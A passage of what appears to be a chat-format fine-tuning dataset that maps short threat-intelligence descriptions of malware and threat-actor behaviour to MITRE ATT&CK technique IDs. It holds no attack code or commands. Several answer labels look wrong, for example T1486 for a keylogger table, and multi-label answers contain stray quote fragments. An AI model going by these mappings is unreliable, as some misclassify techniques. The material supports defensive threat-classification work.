                "content": "FatDuke can AES encrypt C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EVILNUM can harvest cookies and upload them to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors used MSbuild to execute an actor-created file."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has used valid, compromised email accounts for defense evasion, including to send malicious emails to other victim organizations."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates over common ports such as TCP 80, 443, and 25."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 named tasks \"\\Microsoft\\Windows\\SoftwareProtectionPlatform\\EventCacheManager\" in order to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HALFBAKED can use WMI queries to gather system information."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can decrypt its C2 address upon execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX — A remote access tool notable for communications that may contain HTTP headers starting with \"X-\" (e.g. X-Session: 0\"). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. TG-3390 has used additional web shells containing similarly formatted passwords"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Final1stspy obtains victim Microsoft Windows version information and CPU architecture."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware gathers the Address Resolution Protocol (ARP) table from the victim."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can use `wmic` to gather information from a system."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can collect the IP address and NetBIOS name of an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Confucius has exfiltrated victim data to cloud storage service accounts."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OceanSalt can collect the computer name from the system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PyDCrypt has used netsh to find RPC connections on remote machines."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Doki uses a previously undocumented method to contact its operator by abusing the Dogecoin cryptocurrency blockchain in a unique way in order to dynamically generate its C2 domain address. The malware has managed to stay under the radar for over six months despite samples being publicly available in VirusTotal"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "captures keystrokes and sends them back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel malware can collect a list of running processes on a system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS has relied on victims clicking on a malicious link delivered via email."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a custom binary protocol to beacon back to its C2 server. It has also used XOR for encrypting communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has XOR-encrypted collected system information prior to sending to a C2. AppleJeus has also used the open source ADVObfuscation library for its components."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once unpacked, the malware creates a copy of its own process with a suspended thread and injects the unpacked code into the new process before calling the ResumeThread API. Breaking on this function call in a debugger allows an analyst to dump the process and extract the unpacked Karagany binary for further analysis"
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution, the payload injects into iexplore.exe process and starts encrypting text files and documents of the victim machine"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type runs tests to determine the privilege level of the compromised user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Otherwise, it runs a search for the “/bin/rsyncd” string within the files found in the /etc/ folder"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin can exfiltrate data to the C2 server in 27-character chunks."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After trying to determine whether ports are open and the machine could act as a C2 tier 2 proxy, the proxy module also starts a multithreaded SOCKS5 proxy server. The SOCKS5 protocol is encapsulated into the QakBot proxy protocol composed of: QakBot proxy command (1 byte), version (1 byte), session id (4 bytes), total packet length (dword), data (total packet length-10). Incoming and outgoing packets are stored in the buffers and may be received/transmitted one by one or in multiple packets in a single TCP data segment (streamed"
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowGoop has disguised a PowerShell script as a .dat file (goopdate.dat)."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ragnar Locker has used sc.exe to create a new service for the VirtualBox driver."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot establishes persistence in the Startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny has executed commands via scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In November 2018, Cisco Talos published research on an attack campaign named DNSpionage. It involved attacks using malware to compromise individual endpoints, but most interestingly described an effort to specifically hijack DNS entries of government organizations to redirect visitors to likely malicious, adversary operated systems. Both FireEye and Crowdstrike followed up with their own assessments for the DNS hijacking efforts, and described operations extending back to January 2017. No attribution to any known adversary groups was provided, other than that the target radius was primarily in the Middle East and the adversary was also likely operating out of that region. "
            },
            {
                "role": "assistant",
                "content": "T1584.002 - DNS Server', 'T1583.002 - DNS Server', 'T1496 - Resource Hijacking', 'T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Besides the stolen data, it sends the Windows product name and version, username, computer name, and domain name to the C&amp;C server"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Axiom has targeted victims with remote administration tools including RDP."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The binary will be saved in the %APPDATA% folder and, for persistence, it creates a scheduled task that will execute every hour"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can enumerate services on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Windows specifies a path to store files scheduled for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can send victim data via FTP with credentials hardcoded in the script."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has collected files from various information repositories."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has conducted brute force password spray attacks."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PDB Path: C:\\Users\\803\\Desktop\\ytyboth\\yty 2.0\\Release\\vstservice.pdb The vstservice.exe plugin is .NET file responsible for sending a list of the file system to the C2. The malware retrieves the C2 from a Google Docs file like the previous binaries. The file was located at the following location"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER may enumerate user directories on a victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2022–01–15, MSTIC (Microsoft Threat Intelligence Center) identified and unveiled a cyberattack targeting Ukrainian organizations with “WhisperGate” overwrites Master Boot Record(MBR) and files"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BadPatch captures screenshots in .jpg format and then exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peirates can use stolen service account tokens to perform its operations."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this version, the communication protocol with the C&amp;C server was also upgraded to use AES encryption"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches for files created within a certain timeframe and whose file extension matches a predefined list."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX uses Pastebin to store C2 addresses."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BabyShark has the ability to decode downloaded files prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BACKSPACE is capable of enumerating and making modifications to an infected system's Registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Olympic Destroyer uses the API call \"ChangeServiceConfigW\" to disable all services on the affected system."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Thread Name   Description    Key logger  Logs key strokes for configured processes and sends them to the command and control (C2) server    Form grabber  Monitors HTTP traffic for form data and sends it to the C2 server    POS monitor  Monitors for changes to logs stored in C:\\NSB\\Coalition\\Logs and nsb.pos.client.log and sends parsed data to the C2 server    PST monitor  Searches recursively for newly created Outlook personal storage table (PST) files within user directories and sends them to the C2 server    HTTP proxy monitor  Monitors HTTP traffic for requests sent to HTTP proxies, saves the proxy address and credentials for future use"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1090 - Proxy', 'T1041 - Exfiltration Over C2 Channel', 'T1132 - Data Encoding', 'T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has used the Windows API to make detection more difficult."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cisco Talos has discovered a new malware campaign based on a previously unknown family we're calling \"PoetRAT. The droppers are Microsoft Word documents that deploy a Python-based remote access trojan (RAT). We named this malware PoetRAT due to the various references to William Shakespeare, an English poet and playwright. The RAT has all the standard features of this kind of malware, providing full control of the compromised system to the operation. For exfiltration, it uses FTP, which denotes an intention to transfer large amounts of data. The campaign shows us that the operators manually pushed additional tools when they needed them on the compromised systems. We will describe a couple of these tools. The most interesting is a tool used to monitor the hard disk and exfiltrate data automatically"
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Helminth executable variant is able to run batch scripts provided by the C2 server, which is very similar to the script version of this Trojan. The executable variant has one additional capability that is not present in the script version, which involves the ability to log keystrokes via a supplemental keylogger module"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1115 - Clipboard Data', 'T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avenger has the ability to identify the host volume ID and the OS architecture on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ESTSecurity inspected a malicious lure document discussing North Korean defectors. This lure document contained a UPX packed binary that reached out to wave[.]posadadesantiago[.]com. Based upon their report we believe SHA256: 252d1b7a379f97fddd691880c1cf93eaeb2a5e5572e92a25240b75953c88736c, either is or is strikingly similar to the document discussed in their blog post based on these similarities"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has obtained and customized publicly-available tools like Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver can use mutual TLS and RSA  cryptography to exchange a session key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity can use HTTP and HTTPS in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has conducted system locale checks to see if the compromised host is in Russia, Ukraine, Belarus, Armenia, Kazakhstan, or Moldova."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once APT28 gained access to the DCCC network, the group then proceeded to use that access to compromise the DNC network."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3: no detections for SpeakUp in Virus Total In an attempt to endure the investigation process by security researchers, the second stage payload was encoded with salted base64"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has created a local user account with administrator privileges."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky is a highly motivated threat actor targeting a number of entities in South Korea. This group has been relentlessly creating new infection chains to deliver different types of malware to their victims. This campaign relies on the abuse of Blogspot to host attacker-operated blogs serving malicious VB based scripts to their targets. We've found preliminary malicious components from initial access beacons to file exfiltrators being deployed to victims. In many cases, the content of these preliminary components was combined to serve special scripts to victims.The final implants utilized by the actors in this campaign are derivatives of the Gold Dragon/Brave Prince malware families. Such targeted attacks can result in the leak of restricted research, unauthorized access for espionage and even destructive attacks against target organizations"
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can find shared drives on the local system."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can gather unsecured credentials for Azure AD services, such as Azure AD Connect, from a local machine."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OLDBAIT installs itself in \"%ALLUSERPROFILE%\\\\Application Data\\Microsoft\\MediaPlayer\\updatewindws.exe\"; the directory name is missing a space and the file name is missing the letter \"o.\""
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyZBot contains screen capture functionality."
            },
